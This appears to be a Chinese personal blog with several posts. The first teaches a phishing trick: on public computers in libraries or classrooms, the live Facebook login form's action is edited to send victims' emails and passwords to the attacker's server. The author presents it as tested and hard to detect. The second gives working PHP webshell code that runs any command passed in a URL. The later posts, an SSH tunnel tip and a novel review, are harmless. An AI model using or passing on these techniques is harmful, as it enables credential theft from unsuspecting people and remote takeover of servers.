Facebook釣魚趣

之前看過一篇教人如何寫一個facebook的釣魚網站，他主要的原理是這樣:

複製一份facebook登入畫面的靜態html頁面，然後把form tag的action位址改成自己伺服器上的接收程式(ex: login.php)，這接收程式的內容就是把POST過來的email和password記錄到資料庫，主要概念就是這麼簡單而已。

而我今天要講的當然不是這個，我今天要講的是不需要複製一份facebook靜態頁面的釣魚方法!
不過這方法不像之前那方法一樣可以一次釣一堆魚，我這方法算是撒小網捕小魚xD
但成功率較之前方法高!

首先，必須要有個先決條件
你必須取得要釣魚的那台電腦的短暫使用權，
然後開啟facebook登入頁面，再開啟瀏覽器的【檢查元素】
把form tag的action地址改成你伺服器上的login.php地址
然後就可以放置等魚上鉤了xDD

(將紅色圈選處改為伺服器上記錄帳號密碼的login.php地址即可達到釣魚的效果)


其實這方法感覺蠻蠢的，也沒多少技術含量，而且原理似乎跟前一招沒啥太大差別，但成功機率的的確確是比較高，被發現的機率也很低!

這招適合用在圖書館或電腦教室之類的地方，經過測試發現很多人看到電腦開著Facebook登入頁面都會直接打帳號密碼登入進去，而不會起任何疑心，頂多就是檢查網址是否正確，但我們這的確是facebook的網址，要發現這是釣魚陷阱其實也挺不容易的。

簡易PHP webshell

如果有辦法在目標伺服器中塞入php code的話，只要塞下這段code就能達到簡易webshell的效果:

<?php

     $cmd = $_GET['cmd'];

     system($cmd);

?>

使用方法為http://www.example.com/upload/webshell.php?cmd=ls

(粗體部分可代換成其他指令)

其實這篇沒啥技術含量，只是呼叫一個system function而已XD

ssh tunnel連ptt

大家都知道telnet是明碼傳輸的，所以如果在開放式網路下上bbs，就相當的危險，很有可能被竊聽帳密。
而知名的bbs連線軟體PCMAN預設似乎是沒有提供加密連線功能，但對很多人來說要不上ptt是一件非常困難的事情，那該怎麼辦勒?

我這裡就介紹其中一個解決的方法 - ssh tunnel

(圖片截取自google圖片搜尋)

他是利用ssh連線來將你的telnet連線加密，原理可以參考附圖，當然不只僅限於telnet，其他protocol也是可以用ssh tunnel來加密的。

用法如下: 以連線台大bbs站ptt.cc為例

ssh -L 5566:ptt.cc:23 myname@mydomain

他會把5566 port導向到23 port (telnet) ，而mydomain就是我們ssh要連線到的主機，所以我們只要在PCMAN或其他連線軟體上打localhost:5566就能連上ptt囉!

笑傲江湖讀後有感

不得不說，笑傲江湖是金庸小說中我最喜歡的、也是影響我人生最深的一部作品之一。
小時候甚至還玩過昱泉出的笑傲江湖單機版，當時覺得畫面和招式都很華麗，但現在看卻覺得十分粗糙、醜陋，有種強烈的時代差異感。
要說為什麼喜歡，主要是因為主角令狐沖那豪放不羈的、及時行樂的人生態度令我相當佩服及崇拜，就算知道自己命已不長時，卻還是能豪爽面對餘下的生命，暢飲美酒。
甚至連少林方丈欲傳他能救他一命且屬武林中人人稱羨的絕學「易筋經」，卻仍因自幼受師父、師娘養育之恩以及華山派的諸多恩情，不願轉投少林派門下。
而雖然令狐沖生性風流倜儻、油嘴滑舌，但於道義上卻能言而有信，實在是難得一見的英雄好漢啊！連那無惡不做的大盜田伯光都因為欣賞他的骨氣而三番兩次饒他性命。
在任我行拿化解吸星大法內力反噬的方法和滅掉華山派來威脅令狐沖加入日月神教的那段來說，令狐沖卻寧願因反噬內傷而不願加入自己認為非正派的日月神教，覺得自己一條命也是運氣好才撿回來的，再回復舊狀也沒啥大不了的。
就算是科技發達的今日，能因為道義、恩情而甘願捨棄性命、堅守信念的人也實屬罕見啊。

書中我覺得也或多或少有影射政治或社會上一些為了利益而勾心鬥角的醜陋現象，就如左冷禪與岳不群，左冷禪為了統一五嶽劍派，使盡了各種卑鄙陰險的招數，實乃「真小人」最佳代表，甚至被任我行點評為最不佩服第一人；而這外號「君子劍」的岳不群則常被拿來與左冷禪做對比，有偽君子之稱，但也看過一種說法是岳不群所做的壞事都沒有確切證據，都是他人所指控，況且他身為名門正派掌門，有些事情乃人在江湖，不得不做，這觀點確實蠻獨特也挺有道理的。

由於我從國小、國中就開始拜讀金庸小說集，這笑傲江湖帶給我的影響自然頗大，令狐沖儼然變成了我心目中最神聖的偶像，倘若自己也能像令狐沖一樣豪放面對人生、不拘小節，那世間諸多煩惱自然不復存在。其實乍看之下，令狐沖似乎因為一本僻邪劍譜的關係，而導致被逐出師門、失去小師妹，但換個角度想，沒有這本劍譜，令狐沖又怎能見到任盈盈呢？又怎能學到獨孤九劍、吸星大法等神招呢？
所以可見一時的苦難、挫敗到頭來也未嘗不是一件好事！
樂觀面對人生，方可真正笑傲江湖啊！

（圖片取自昱泉的笑傲江湖）